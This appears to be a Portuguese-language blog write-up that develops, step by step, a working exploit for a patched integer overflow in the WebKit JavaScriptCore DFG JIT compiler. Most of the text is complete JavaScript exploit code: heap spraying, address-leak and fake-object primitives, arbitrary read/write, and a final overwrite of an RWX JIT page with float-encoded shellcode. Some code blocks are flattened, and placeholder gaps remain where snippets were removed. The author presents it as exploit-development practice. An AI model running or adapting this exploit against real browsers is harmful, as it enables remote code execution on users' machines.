
Explorando uma vulnerabilidade corrigida no JavaScriptCore
Este é um exploit para uma vulnerabilidade do WebKit que foi originalmente descoberta por Fluoroacetate durante a competição pwn2own em Vancouver. Embora eu não tenha descoberto este bug, escrevi este exploit para praticar minhas habilidades de desenvolvimento de exploits. O artigo original sobre este exploit está aqui, da Zero Day Initiative. Embora este artigo seja muito bom e tenha sido fundamental para me ajudar a entender a vulnerabilidade, ele é do ponto de vista de alguém que está verificando a vulnerabilidade. Descobri que alguns detalhes importantes estão faltando ao tentar construir este exploit do zero e espero preencher algumas das lacunas que o artigo da ZDI deixou passar e adquirir habilidades práticas sobre como construir um exploit complicado do zero.
Estes passos servem como um esboço para obter execução de código arbitrária dentro do JavaScriptCore (JSC), o motor JavaScript do WebKit
A vulnerabilidade que será explorada é um estouro de inteiro que ocorre no código produzido pelo compilador just-in-time (JIT) DFG para o WebKit. Isso ocorre especificamente na função compileNewArrayWithSpread. Esta função será chamada quando o código que usa sintaxe de espalhamento do JavaScript para criar um novo array for compilado JIT pelo DFG.

Dentro do código compilado JIT, primeiro ele calculará o tamanho do array. Ele faz isso somando o comprimento de cada argumento passado para o construtor do array. Ao calcular o tamanho para cada adição, ele verifica se há um estouro do tamanho. Depois disso, ele chamará a função compileAllocateNewArray passando o comprimento que foi calculado nesta função.

A função compileAllocateNewArray então passará o comprimento calculado anteriormente para emitAllocateButterfly.

A função emitAllocateButterfly então deslocará à esquerda o tamanho em 3 bits, o que equivale a multiplicá-lo por 8. No entanto, não há verificação de estouro e, portanto, um número como 0x20000001 pode transbordar para 0x8
Este programa em C ilustra esta vulnerabilidade:


Podemos usar esta vulnerabilidade para enganar o motor JavaScript, fazendo-o acreditar que alocamos um array com tamanho 0x20000001, mas na verdade alocamos apenas espaço suficiente para 1 JSValue (8 bytes). Isso resultará em uma primitiva de leitura e escrita fora dos limites (OOB) que pode então ser aproveitada para alcançar leitura/escrita arbitrária e, eventualmente, execução remota de código (RCE).
Identificar a vulnerabilidade
Para confirmar que temos uma leitura OOB, tentaremos desencadear esta vulnerabilidade em uma compilação com address sanitizer (ASAN) do JSC.
Para fazer isso a partir do diretório do WebKit, podemos executar os comandos:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
Isto construirá uma build de depuração do JSC com ASAN habilitado, permitindo-nos verificar se conseguimos ou não acionar a vulnerabilidade.
Aqui está a primeira iteração do exploit.js```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
Ao executar isso, obtenho o seguinte erro:
Programa terminado com o sinal SIGKILL, Morto. O programa não existe mais.
Meu palpite foi que muita memória estava sendo consumida ao tentar alocar um array tão grande. Para confirmar isso, adicionei um breakpoint ao código JITed adicionando uma chamada a m_jit.breakpoint() dentro de compileNewArrayWithSpread, que adiciona uma instrução int3 ao código JITed.
Depois de adicionar o breakpoint, descobri que ele não foi atingido e então decidi testar um comprimento de 0x20001. Então percebi que o código nem estava sendo compilado, então adicionei mais iterações para ativar o compilador DFG```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Testar o programa como está ainda leva ao SIGKILL, no entanto, ao testar com um comprimento menor, o breakpoint é acionado. Neste ponto, ainda me parece que o JSC está ficando sem memória ao tentar processar aquele grande array.
Para lidar com isso, decidi alocar um array `a` menor e depois usar a sintaxe de espalhamento para usá-lo várias vezes ao criar o array corrompido, resultando no seguinte exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
Utilizando este código, conseguimos atingir o breakpoint sem um SIGKILL! Como geralmente acontece, ao corrigir um problema surge outro e obtivemos um SIGABORT... Usando o comando gdb bt podemos ver que operationNewArrayWithSize foi chamada, que por sua vez chamou create.
Parece estranho que nosso código JIT estivesse chamando operationNewArrayWithSize e deve ser que o código JIT teve que seguir um slow path para o motor JavaScript por algum motivo.

Podemos ver em compileAllocateNewArrayWithSize que há de fato um bailout para operationNewArrayWithSize. Precisamos então descobrir exatamente por que estamos fazendo o bailout para o slow case.
Podemos ver que em compileNewArrayWithSpread o shouldConvertLargeSizeToArrayStorage está definido como false e que esse slow path não estará no código compilado.
Portanto, faz sentido que o slow path esteja sendo acionado em algum lugar dentro de emitAllocateJSObject

emitAllocateJSObject chama emitAllocateJSCell que por sua vez chama emitAllocate.


Sem conhecimento de como o WebKit Allocator funciona, isso parece bastante confuso. Portanto, decidi adicionar alguns breakpoints e executar passo a passo no gdb.
Após atingir um breakpoint definido em emitAllocateVariableSized que foi chamado por emitAllocateButterfly, vemos o seguinte código assembly:
Que corresponde ao código emitido pelo compilador JIT aqui:
Podemos ver que o tamanho da alocação é somado a 0xf e então deslocado para a direita por 4. Em seguida, é comparado com 0x1f6 correspondente ao branch do slow path. Depois disso, moverá o subspace allocator para rsi e indexará nesse ponteiro com base nos cálculos realizados. Prosseguimos então para o breakpoint que foi colocado em emitAllocateWithNonNullAllocator para encontrar o seguinte código assembly:

Que corresponde ao código emitido pelo compilador JIT aqui:
Agora que percorremos parte do assembly, temos um pouco mais de contexto do que está acontecendo. Avançando mais duas instruções, vemos que faremos o jump:

Olhando para o código C++, podemos inferir que isso significa que não há espaço restante na free list deste alocador, então ele seguirá o pop path.

Ao realizar o jump e executar as próximas duas instruções, vemos que o jump é executado diretamente correspondendo a tomar o slow path. Tomamos o slow path porque o segredo (secret) do alocador é XORado com o cabeçalho embaralhado (scrambled head) do alocador e o resultado é zero. Sem mais conhecimento sobre o alocador WebKit, é difícil descobrir exatamente o que está acontecendo.
Embora eu adorasse passar mais tempo aprendendo sobre o alocador WebKit, pensei que uma maneira mais fácil de abordar isso seria tentar algumas ideias e ver se elas levam a resultados diferentes e depurar a partir daí.
Uma das ideias que tive foi alocar um array de tamanho 0x10, já que isso estará no mesmo tamanho de passo de alocação (step size) que nosso array que desencadeará a vulnerabilidade, e então chamar jitMe com um array de tamanho 1. Como sabemos o endereço do alocador, podemos definir um watch point nos valores que levam a branches e ver quando eles mudam. Tive essa ideia porque pensei que alocar um objeto que estará no mesmo step size pode levar o alocador a um estado diferente e mais interessante. Isso leva à próxima iteração do exploit.js```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
Testar esta ideia funcionou!
Podemos ver que ao testar `jitMe` no array pequeno, não seguimos o caminho lento! Em seguida, definimos um ponto de observação em r8 + 0x18 para ver quando este valor é definido como zero. Depois de atingirmos o ponto de observação, obtemos o seguinte backtrace:

Com base nos nomes das funções no backtrace, parece que uma coleta de lixo está sendo realizada, que define o valor de `secret` e `scrambledHead` para 0.
Com base na pilha de chamadas, sabemos que a chamada para `tryCreate` em `createFromArray` é responsável por iniciar a coleta de lixo.

Dentro de `createFromArray`, ele também percorre e acessa cada elemento, e se conseguirmos interceptar a chamada para obter e reinicializar o alocador, podemos evitar que ele siga o caminho lento.
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
Dá-nos um erro ASAN!
Agora que podemos disparar a vulnerabilidade de forma confiável, gostaríamos de usar nossa primitiva OOB R/W para corromper ainda mais a memória e obter uma primitiva de type confusion. O primeiro passo é recompilar o JSC com o ASAN desabilitado. Após fazer isso, executamos novamente o exploit.js e obtemos o seguinte crash

Podemos ver que estamos corrompendo isso para apontar para 0x3ff299999999999a. Quando usamos o módulo struct do Python para converter o valor float 1.1 em bytes, obtemos exatamente o que esperávamos: 0x3ff299999999999a 
Agora que podemos ver que conseguimos a corrupção de memória, precisamos fazer um heap massaging para transformar isso em uma type confusion. A ideia será fazer spray de vários ArrayWithDoubles e ArrayWithContiguous e corromper o comprimento da butterfly para podermos obter acesso fora dos limites com esses arrays e conseguir uma type confusion. Esperamos que alocar arrays suficientes evite que o acesso fora dos limites corrompa valores importantes.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
Depois de pulverizarmos esses arrays, eles serão sobrescritos com os dados de `badArray`. Isso, no entanto, evitará um seg fault após escrevermos fora dos limites. Para obter um array corrompível, podemos alocar mais três arrays: um ArrayWithDouble, seguido por um ArrayWithContiguous, seguido por um ArrayWithDouble. Uma vez que corrompamos o array, podemos escrever um objeto no ArrayWithContiguous e lê-lo do ArrayWithDouble para criar uma confusão de tipo e ler um endereço. Além disso, podemos escrever um endereço no segundo ArrayWithDouble e lê-lo do ArrayWithContiguous para obter um objeto falso em um endereço especificado.
Implementando isso, obtemos:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
Agora que temos um objeto falso e uma primitiva de vazamento de endereço, nosso próximo objetivo é obter primitivas de leitura e escrita arbitrárias. Nossa estratégia geral será criar um objeto falso e apontar o butterfly para o butterfly de um ArrayWithDouble e escrever nesse butterfly o endereço que queremos ler ou escrever. Essa técnica é usada durante o exploit original e é mencionada por saelo neste artigo.
No entanto, antes de conseguir fazer isso, me deparei com um erro inesperado. Descobri que, depois de adicionar uma certa quantidade de código ao exploit, acionar a vulnerabilidade não funcionava e eu caía no slow path, causando uma exceção de falta de memória.
Para corrigir isso, descobri que consegui tratar o código a ser executado como uma string e chamar a função eval do JavaScript. Por alguma razão, isso foi capaz de contornar esse problema.
Para configurar nosso objeto falso, precisamos que ele tenha um Structure ID válido. Para fazer isso, espalhamos um monte de Structure IDs e definimos o nosso para um Structure ID previsível.
Para sobrescrever o butterfly do ArrayWithDouble, precisamos ser capazes de indexar o butterfly alvo. Para isso, continuamos alocando arrays até que o endereço seja maior que o endereço do elemento do meio do array de Structure IDs espalhados. Então definimos o butterfly do nosso objeto falso para ser esse elemento do meio e indexamos no butterfly do objeto falso para definir o butterfly alvo.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] Corromper o array butterfly para obter primitivas de leitura e escrita
### Alcançando Execução Arbitrária de Código Dentro do Processo de Renderização
Agora que temos uma primitiva de leitura e escrita, tudo o que precisamos fazer é sobrescrever uma página JIT com shellcode personalizado. Sobrescrevemos a página JIT porque esta será provavelmente a única área de memória mapeada como RWX no processo. Embora pudéssemos, em vez disso, realizar uma cadeia ROP e um pivot de pilha para mapear uma região de memória como RWX e executar nosso shellcode, isso se mostra muito mais simples.
Para sobrescrever a página JIT, primeiro precisamos de uma função JITada. Escolhi usar a função `jitMe` que usamos para acionar a vulnerabilidade. A partir daí, usei o gdb para seguir ponteiros neste objeto até alcançar a memória que contém o código JITado. Deve-se notar que esses deslocamentos de ponteiro são muito específicos para esta versão do WebKit e é provável que possam mudar no futuro. Isso não deve ser confiado ao escrever um exploit que se destina a funcionar em várias versões do WebKit.
Depois de encontrarmos o ponteiro para a página JIT, precisamos escrever shellcode para abrir uma calculadora. Este shellcode pode ser visto aqui:

Precisamos então montar o shellcode, extrair os bytes e convertê-los em floats que possamos escrever usando nossa primitiva R/W.
Isso nos dá o exploit.js final:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
Finalmente, um vídeo do exploit funcionando!
Espera-se que isso mostre como você pode pegar um n-day do JSC e desenvolver um exploit para ele. Eu me beneficiei por ter o artigo do Zeroday Initiative. Embora eu tenha usado isso enquanto escrevia o exploit, tentei apenas pegar as ideias principais e fazer a implementação sozinho, sem olhar para o artigo.
Este exploit é apenas uma prova de conceito e não é tão robusto quanto poderia ser. Embora eu não tenha experimentado nenhuma tentativa fracassada, sempre há trabalho que pode ser feito para melhorá-lo. Como fiz isso como uma experiência de aprendizado, não me preocupei em tornar o exploit tão robusto quanto possível.